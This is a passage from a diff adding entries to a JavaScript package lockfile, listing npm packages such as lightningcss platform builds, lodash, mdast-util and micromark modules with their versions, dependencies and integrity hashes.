"sha512-IRqXKlaXwgSMAMtpNzZa1ZAe8m+Sa1770Dhk8VkSsP9LS+iHD62Zd8FQKs8fbPiagBE7BzoFX23cxFnwshpV6w=="], + + "import-fresh": ["import-fresh@3.3.1", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ=="], + + "ini": ["ini@1.3.8", "", {}, "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="], + + "inline-style-parser": ["inline-style-parser@0.2.7", "", {}, "sha512-Nb2ctOyNR8DqQoR0OwRG95uNWIC0C1lCgf5Naz5H6Ji72KZ8OcFZLz2P5sNgwlyoJ8Yif11oMuYs5pBQa86csA=="], + + "is-alphabetical": ["is-alphabetical@2.0.1", "", {}, "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ=="], + + "is-alphanumerical": ["is-alphanumerical@2.0.1", "", { "dependencies": { "is-alphabetical": "^2.0.0", "is-decimal": "^2.0.0" } }, "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw=="], + + "is-arrayish": ["is-arrayish@0.2.1", "", {}, "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="], + + "is-core-module": ["is-core-module@2.16.1", "", { "dependencies": { "hasown": "^2.0.2" } }, "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w=="], + + "is-decimal": ["is-decimal@2.0.1", "", {}, "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A=="], + + "is-docker": ["is-docker@2.2.1", "", { "bin": { "is-docker": "cli.js" } }, "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ=="], + + "is-fullwidth-code-point": ["is-fullwidth-code-point@3.0.0", "", {}, "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="], + + "is-hexadecimal": ["is-hexadecimal@2.0.1", "", {}, "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg=="], + + "is-plain-obj": ["is-plain-obj@4.1.0", "", {}, "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg=="], + + "is-port-reachable": ["is-port-reachable@4.0.0", "", {}, "sha512-9UoipoxYmSk6Xy7QFgRv2HDyaysmgSG75TFQs6S+3pDM7ZhKTF/bskZV+0UlABHzKjNVhPjYCLfeZUEg1wXxig=="], + + "is-stream": ["is-stream@2.0.1", "", {}, "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg=="], + + "is-wsl": ["is-wsl@2.2.0", "", { "dependencies": { "is-docker": "^2.0.0" } }, "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww=="], + + "isbot": ["isbot@5.1.32", "", {}, "sha512-VNfjM73zz2IBZmdShMfAUg10prm6t7HFUQmNAEOAVS4YH92ZrZcvkMcGX6cIgBJAzWDzPent/EeAtYEHNPNPBQ=="], + + "isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="], + + "jiti": ["jiti@2.6.1", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="], + + "js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="], + + "js-yaml": ["js-yaml@4.1.1", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA=="], + + "jsesc": ["jsesc@3.0.2", "", { "bin": { "jsesc": "bin/jsesc" } }, "sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g=="], + + "json-parse-even-better-errors": ["json-parse-even-better-errors@2.3.1", "", {}, "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w=="], + + "json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], + + "json5": ["json5@2.2.3", "", { "bin": { "json5": "lib/cli.js" } }, "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg=="], + + "launch-editor": ["launch-editor@2.12.0", "", { "dependencies": { "picocolors": "^1.1.1", "shell-quote": "^1.8.3" } }, "sha512-giOHXoOtifjdHqUamwKq6c49GzBdLjvxrd2D+Q4V6uOHopJv7p9VJxikDsQ/CBXZbEITgUqSVHXLTG3VhPP1Dg=="], + + "lightningcss": ["lightningcss@1.30.2", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-android-arm64": "1.30.2", "lightningcss-darwin-arm64": "1.30.2", "lightningcss-darwin-x64": "1.30.2", "lightningcss-freebsd-x64": "1.30.2", "lightningcss-linux-arm-gnueabihf": "1.30.2", "lightningcss-linux-arm64-gnu": "1.30.2", "lightningcss-linux-arm64-musl": "1.30.2", "lightningcss-linux-x64-gnu": "1.30.2", "lightningcss-linux-x64-musl": "1.30.2", "lightningcss-win32-arm64-msvc": "1.30.2", "lightningcss-win32-x64-msvc": "1.30.2" } }, "sha512-utfs7Pr5uJyyvDETitgsaqSyjCb2qNRAtuqUeWIAKztsOYdcACf2KtARYXg2pSvhkt+9NfoaNY7fxjl6nuMjIQ=="], + + "lightningcss-android-arm64": ["lightningcss-android-arm64@1.30.2", "", { "os": "android", "cpu": "arm64" }, "sha512-BH9sEdOCahSgmkVhBLeU7Hc9DWeZ1Eb6wNS6Da8igvUwAe0sqROHddIlvU06q3WyXVEOYDZ6ykBZQnjTbmo4+A=="], + + "lightningcss-darwin-arm64": ["lightningcss-darwin-arm64@1.30.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-ylTcDJBN3Hp21TdhRT5zBOIi73P6/W0qwvlFEk22fkdXchtNTOU4Qc37SkzV+EKYxLouZ6M4LG9NfZ1qkhhBWA=="], + + "lightningcss-darwin-x64": ["lightningcss-darwin-x64@1.30.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-oBZgKchomuDYxr7ilwLcyms6BCyLn0z8J0+ZZmfpjwg9fRVZIR5/GMXd7r9RH94iDhld3UmSjBM6nXWM2TfZTQ=="], + + "lightningcss-freebsd-x64": ["lightningcss-freebsd-x64@1.30.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-c2bH6xTrf4BDpK8MoGG4Bd6zAMZDAXS569UxCAGcA7IKbHNMlhGQ89eRmvpIUGfKWNVdbhSbkQaWhEoMGmGslA=="], + + "lightningcss-linux-arm-gnueabihf": ["lightningcss-linux-arm-gnueabihf@1.30.2", "", { "os": "linux", "cpu": "arm" }, "sha512-eVdpxh4wYcm0PofJIZVuYuLiqBIakQ9uFZmipf6LF/HRj5Bgm0eb3qL/mr1smyXIS1twwOxNWndd8z0E374hiA=="], + + "lightningcss-linux-arm64-gnu": ["lightningcss-linux-arm64-gnu@1.30.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-UK65WJAbwIJbiBFXpxrbTNArtfuznvxAJw4Q2ZGlU8kPeDIWEX1dg3rn2veBVUylA2Ezg89ktszWbaQnxD/e3A=="], + + "lightningcss-linux-arm64-musl": ["lightningcss-linux-arm64-musl@1.30.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-5Vh9dGeblpTxWHpOx8iauV02popZDsCYMPIgiuw97OJ5uaDsL86cnqSFs5LZkG3ghHoX5isLgWzMs+eD1YzrnA=="], + + "lightningcss-linux-x64-gnu": ["lightningcss-linux-x64-gnu@1.30.2", "", { "os": "linux", "cpu": "x64" }, "sha512-Cfd46gdmj1vQ+lR6VRTTadNHu6ALuw2pKR9lYq4FnhvgBc4zWY1EtZcAc6EffShbb1MFrIPfLDXD6Xprbnni4w=="], + + "lightningcss-linux-x64-musl": ["lightningcss-linux-x64-musl@1.30.2", "", { "os": "linux", "cpu": "x64" }, "sha512-XJaLUUFXb6/QG2lGIW6aIk6jKdtjtcffUT0NKvIqhSBY3hh9Ch+1LCeH80dR9q9LBjG3ewbDjnumefsLsP6aiA=="], + + "lightningcss-win32-arm64-msvc": ["lightningcss-win32-arm64-msvc@1.30.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-FZn+vaj7zLv//D/192WFFVA0RgHawIcHqLX9xuWiQt7P0PtdFEVaxgF9rjM/IRYHQXNnk61/H/gb2Ei+kUQ4xQ=="], + + "lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.30.2", "", { "os": "win32", "cpu": "x64" }, "sha512-5g1yc73p+iAkid5phb4oVFMB45417DkRevRbt/El/gKXJk4jid+vPFF/AXbxn05Aky8PapwzZrdJShv5C0avjw=="], + + "lines-and-columns": ["lines-and-columns@1.2.4", "", {}, "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg=="], + + "lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="], + + "lodash.merge": ["lodash.merge@4.6.2", "", {}, "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ=="], + + "longest-streak": ["longest-streak@3.1.0", "", {}, "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g=="], + + "loose-envify": ["loose-envify@1.4.0", "", { "dependencies": { "js-tokens": "^3.0.0 || ^4.0.0" }, "bin": { "loose-envify": "cli.js" } }, "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q=="], + + "lowlight": ["lowlight@1.20.0", "", { "dependencies": { "fault": "^1.0.0", "highlight.js": "~10.7.0" } }, "sha512-8Ktj+prEb1RoCPkEOrPMYUN/nCggB7qAWe3a7OpMjWQkh3l2RD5wKRQ+o8Q8YuI9RG/xs95waaI/E6ym/7NsTw=="], + + "lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="], + + "lucide-react": ["lucide-react@0.556.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-iOb8dRk7kLaYBZhR2VlV1CeJGxChBgUthpSP8wom9jfj79qovgG6qcSdiy6vkoREKPnbUYzJsCn4o4PtG3Iy+A=="], + + "magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="], + + "markdown-extensions": ["markdown-extensions@2.0.0", "", {}, "sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q=="], + + "markdown-table": ["markdown-table@3.0.4", "", {}, "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw=="], + + "mdast-util-find-and-replace": ["mdast-util-find-and-replace@3.0.2", "", { "dependencies": { "@types/mdast": "^4.0.0", "escape-string-regexp": "^5.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-Tmd1Vg/m3Xz43afeNxDIhWRtFZgM2VLyaf4vSTYwudTyeuTneoL3qtWMA5jeLyz/O1vDJmmV4QuScFCA2tBPwg=="], + + "mdast-util-from-markdown": ["mdast-util-from-markdown@2.0.2", "", { "dependencies": { "@types/mdast": "^4.0.0", "@types/unist": "^3.0.0", "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "mdast-util-to-string": "^4.0.0", "micromark": "^4.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-decode-string": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-uZhTV/8NBuw0WHkPTrCqDOl0zVe1BIng5ZtHoDk49ME1qqcjYmmLmOf0gELgcRMxN4w2iuIeVso5/6QymSrgmA=="], + + "mdast-util-gfm": ["mdast-util-gfm@3.1.0", "", { "dependencies": { "mdast-util-from-markdown": "^2.0.0", "mdast-util-gfm-autolink-literal": "^2.0.0", "mdast-util-gfm-footnote": "^2.0.0", "mdast-util-gfm-strikethrough": "^2.0.0", "mdast-util-gfm-table": "^2.0.0", "mdast-util-gfm-task-list-item": "^2.0.0", "mdast-util-to-markdown": "^2.0.0" } }, "sha512-0ulfdQOM3ysHhCJ1p06l0b0VKlhU0wuQs3thxZQagjcjPrlFRqY215uZGHHJan9GEAXd9MbfPjFJz+qMkVR6zQ=="], + + "mdast-util-gfm-autolink-literal": ["mdast-util-gfm-autolink-literal@2.0.1", "", { "dependencies": { "@types/mdast": "^4.0.0", "ccount": "^2.0.0", "devlop": "^1.0.0", "mdast-util-find-and-replace": "^3.0.0", "micromark-util-character": "^2.0.0" } }, "sha512-5HVP2MKaP6L+G6YaxPNjuL0BPrq9orG3TsrZ9YXbA3vDw/ACI4MEsnoDpn6ZNm7GnZgtAcONJyPhOP8tNJQavQ=="], + + "mdast-util-gfm-footnote": ["mdast-util-gfm-footnote@2.1.0", "", { "dependencies": { "@types/mdast": "^4.0.0", "devlop": "^1.1.0", "mdast-util-from-markdown": "^2.0.0", "mdast-util-to-markdown": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0" } }, "sha512-sqpDWlsHn7Ac9GNZQMeUzPQSMzR6Wv0WKRNvQRg0KqHh02fpTz69Qc1QSseNX29bhz1ROIyNyxExfawVKTm1GQ=="], + + "mdast-util-gfm-strikethrough": ["mdast-util-gfm-strikethrough@2.0.0", "", { "dependencies": { "@types/mdast": "^4.0.0", "mdast-util-from-markdown": "^2.0.0", "mdast-util-to-markdown": "^2.0.0" } }, "sha512-mKKb915TF+OC5ptj5bJ7WFRPdYtuHv0yTRxK2tJvi+BDqbkiG7h7u/9SI89nRAYcmap2xHQL9D+QG/6wSrTtXg=="], + + "mdast-util-gfm-table": ["mdast-util-gfm-table@2.0.0", "", { "dependencies": { "@types/mdast": "^4.0.0", "devlop": "^1.0.0", "markdown-table": "^3.0.0", "mdast-util-from-markdown": "^2.0.0", "mdast-util-to-markdown": "^2.0.0" } }, "sha512-78UEvebzz/rJIxLvE7ZtDd/vIQ0RHv+3Mh5DR96p7cS7HsBhYIICDBCu8csTNWNO6tBWfqXPWekRuj2FNOGOZg=="], + + "mdast-util-gfm-task-list-item": ["mdast-util-gfm-task-list-item@2.0.0", "", { "dependencies": { "@types/mdast": "^4.0.0", "devlop": "^1.0.0", "mdast-util-from-markdown": "^2.0.0", "mdast-util-to-markdown": "^2.0.0" } }, "sha512-IrtvNvjxC1o06taBAVJznEnkiHxLFTzgonUdy8hzFVeDun0uTjxxrRGVaNFqkU1wJR3RBPEfsxmU6jDWPofrTQ=="], + + "mdast-util-mdx": ["mdast-util-mdx@3.0.0", "", { "dependencies": { "mdast-util-from-markdown": "^2.0.0", "mdast-util-mdx-expression": "^2.0.0", "mdast-util-mdx-jsx": "^3.0.0", "mdast-util-mdxjs-esm": "^2.0.0", "mdast-util-to-markdown": "^2.0.0" } }, "sha512-JfbYLAW7XnYTTbUsmpu0kdBUVe+yKVJZBItEjwyYJiDJuZ9w4eeaqks4HQO+R7objWgS2ymV60GYpI14Ug554w=="], + + "mdast-util-mdx-expression": ["mdast-util-mdx-expression@2.0.1", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "@types/hast": "^3.0.0", "@types/mdast": "^4.0.0", "devlop": "^1.0.0", "mdast-util-from-markdown": "^2.0.0", "mdast-util-to-markdown": "^2.0.0" } }, "sha512-J6f+9hUp+ldTZqKRSg7Vw5V6MqjATc+3E4gf3CFNcuZNWD8XdyI6zQ8GqH7f8169MM6P7hMBRDVGnn7oHB9kXQ=="], + + "mdast-util-mdx-jsx": ["mdast-util-mdx-jsx@3.2.0", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "@types/hast": "^3.0.0", "@types/mdast": "^4.0.0", "@types/unist": "^3.0.0", "ccount": "^2.0.0", "devlop": "^1.1.0", "mdast-util-from-markdown": "^2.0.0", "mdast-util-to-markdown": "^2.0.0", "parse-entities": "^4.0.0", "stringify-entities": "^4.0.0", "unist-util-stringify-position": "^4.0.0", "vfile-message": "^4.0.0" } }, "sha512-lj/z8v0r6ZtsN/cGNNtemmmfoLAFZnjMbNyLzBafjzikOM+glrjNHPlf6lQDOTccj9n5b0PPihEBbhneMyGs1Q=="], + + "mdast-util-mdxjs-esm": ["mdast-util-mdxjs-esm@2.0.1", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "@types/hast": "^3.0.0", "@types/mdast": "^4.0.0", "devlop": "^1.0.0", "mdast-util-from-markdown": "^2.0.0", "mdast-util-to-markdown": "^2.0.0" } }, "sha512-EcmOpxsZ96CvlP03NghtH1EsLtr0n9Tm4lPUJUBccV9RwUOneqSycg19n5HGzCf+10LozMRSObtVr3ee1WoHtg=="], + + "mdast-util-phrasing": ["mdast-util-phrasing@4.1.0", "", { "dependencies": { "@types/mdast": "^4.0.0", "unist-util-is": "^6.0.0" } }, "sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w=="], + + "mdast-util-to-hast": ["mdast-util-to-hast@13.2.1", "", { "dependencies": { "@types/hast": "^3.0.0", "@types/mdast": "^4.0.0", "@ungap/structured-clone": "^1.0.0", "devlop": "^1.0.0", "micromark-util-sanitize-uri": "^2.0.0", "trim-lines": "^3.0.0", "unist-util-position": "^5.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.0" } }, "sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA=="], + + "mdast-util-to-markdown": ["mdast-util-to-markdown@2.1.2", "", { "dependencies": { "@types/mdast": "^4.0.0", "@types/unist": "^3.0.0", "longest-streak": "^3.0.0", "mdast-util-phrasing": "^4.0.0", "mdast-util-to-string": "^4.0.0", "micromark-util-classify-character": "^2.0.0", "micromark-util-decode-string": "^2.0.0", "unist-util-visit": "^5.0.0", "zwitch": "^2.0.0" } }, "sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA=="], + + "mdast-util-to-string": ["mdast-util-to-string@4.0.0", "", { "dependencies": { "@types/mdast": "^4.0.0" } }, "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg=="], + + "merge-stream": ["merge-stream@2.0.0", "", {}, "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w=="], + + "micromark": ["micromark@4.0.2", "", { "dependencies": { "@types/debug": "^4.0.0", "debug": "^4.0.0", "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "micromark-core-commonmark": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-combine-extensions": "^2.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-encode": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-resolve-all": "^2.0.0", "micromark-util-sanitize-uri": "^2.0.0", "micromark-util-subtokenize": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA=="], + + "micromark-core-commonmark": ["micromark-core-commonmark@2.0.3", "", { "dependencies": { "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "micromark-factory-destination": "^2.0.0", "micromark-factory-label": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-factory-title": "^2.0.0", "micromark-factory-whitespace": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-classify-character": "^2.0.0", "micromark-util-html-tag-name": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-resolve-all": "^2.0.0", "micromark-util-subtokenize": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg=="], + + "micromark-extension-gfm": ["micromark-extension-gfm@3.0.0", "", { "dependencies": { "micromark-extension-gfm-autolink-literal": "^2.0.0", "micromark-extension-gfm-footnote": "^2.0.0", "micromark-extension-gfm-strikethrough": "^2.0.0", "micromark-extension-gfm-table": "^2.0.0", "micromark-extension-gfm-tagfilter": "^2.0.0", "micromark-extension-gfm-task-list-item": "^2.0.0", "micromark-util-combine-extensions": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-vsKArQsicm7t0z2GugkCKtZehqUm31oeGBV/KVSorWSy8ZlNAv7ytjFhvaryUiCUJYqs+NoE6AFhpQvBTM6Q4w=="], + + "micromark-extension-gfm-autolink-literal": ["micromark-extension-gfm-autolink-literal@2.1.0", "", { "dependencies": { "micromark-util-character": "^2.0.0", "micromark-util-sanitize-uri": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw=="], + + "micromark-extension-gfm-footnote": ["micromark-extension-gfm-footnote@2.1.0", "", { "dependencies": { "devlop": "^1.0.0", "micromark-core-commonmark": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-sanitize-uri": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw=="], + + "micromark-extension-gfm-strikethrough": ["micromark-extension-gfm-strikethrough@2.1.0", "", { "dependencies": { "devlop": "^1.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-classify-character": "^2.0.0", "micromark-util-resolve-all": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-ADVjpOOkjz1hhkZLlBiYA9cR2Anf8F4HqZUO6e5eDcPQd0Txw5fxLzzxnEkSkfnD0wziSGiv7sYhk/ktvbf1uw=="], + + "micromark-extension-gfm-table": ["micromark-extension-gfm-table@2.1.1", "", { "dependencies": { "devlop": "^1.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg=="], + + "micromark-extension-gfm-tagfilter": ["micromark-extension-gfm-tagfilter@2.0.0", "", { "dependencies": { "micromark-util-types": "^2.0.0" } }, "sha512-xHlTOmuCSotIA8TW1mDIM6X2O1SiX5P9IuDtqGonFhEK0qgRI4yeC6vMxEV2dgyr2TiD+2PQ10o+cOhdVAcwfg=="], + + "micromark-extension-gfm-task-list-item": ["micromark-extension-gfm-task-list-item@2.1.0", "", { "dependencies": { "devlop": "^1.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-qIBZhqxqI6fjLDYFTBIa4eivDMnP+OZqsNwmQ3xNLE4Cxwc+zfQEfbs6tzAo2Hjq+bh6q5F+Z8/cksrLFYWQQw=="], + + "micromark-extension-mdx-expression": ["micromark-extension-mdx-expression@3.0.1", "", { "dependencies": { "@types/estree": "^1.0.0", "devlop": "^1.0.0", "micromark-factory-mdx-expression": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-events-to-acorn": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-dD/ADLJ1AeMvSAKBwO22zG22N4ybhe7kFIZ3LsDI0GlsNr2A3KYxb0LdC1u5rj4Nw+CHKY0RVdnHX8vj8ejm4Q=="], + + "micromark-extension-mdx-jsx": ["micromark-extension-mdx-jsx@3.0.2", "", { "dependencies": { "@types/estree": "^1.0.0", "devlop": "^1.0.0", "estree-util-is-identifier-name": "^3.0.0", "micromark-factory-mdx-expression": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-events-to-acorn": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0", "vfile-message": "^4.0.0" } }, "sha512-e5+q1DjMh62LZAJOnDraSSbDMvGJ8x3cbjygy2qFEi7HCeUT4BDKCvMozPozcD6WmOt6sVvYDNBKhFSz3kjOVQ=="], + + "micromark-extension-mdx-md": ["micromark-extension-mdx-md@2.0.0", "", { "dependencies": { "micromark-util-types": "^2.0.0" } }, "sha512-EpAiszsB3blw4Rpba7xTOUptcFeBFi+6PY8VnJ2hhimH+vCQDirWgsMpz7w1XcZE7LVrSAUGb9VJpG9ghlYvYQ=="], + + "micromark-extension-mdxjs": ["micromark-extension-mdxjs@3.0.0", "", { "dependencies": { "acorn": "^8.0.0", "acorn-jsx": "^5.0.0", "micromark-extension-mdx-expression": "^3.0.0", "micromark-extension-mdx-jsx": "^3.0.0", "micromark-extension-mdx-md": "^2.0.0", "micromark-extension-mdxjs-esm": "^3.0.0", "micromark-util-combine-extensions": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-A873fJfhnJ2siZyUrJ31l34Uqwy4xIFmvPY1oj+Ean5PHcPBYzEsvqvWGaWcfEIr11O5Dlw3p2y0tZWpKHDejQ=="], + + "micromark-extension-mdxjs-esm": ["micromark-extension-mdxjs-esm@3.0.0", "", { "dependencies": { "@types/estree": "^1.0.0", "devlop": "^1.0.0", "micromark-core-commonmark": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-events-to-acorn": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0", "unist-util-position-from-estree": "^2.0.0", "vfile-message": "^4.0.0" } }, 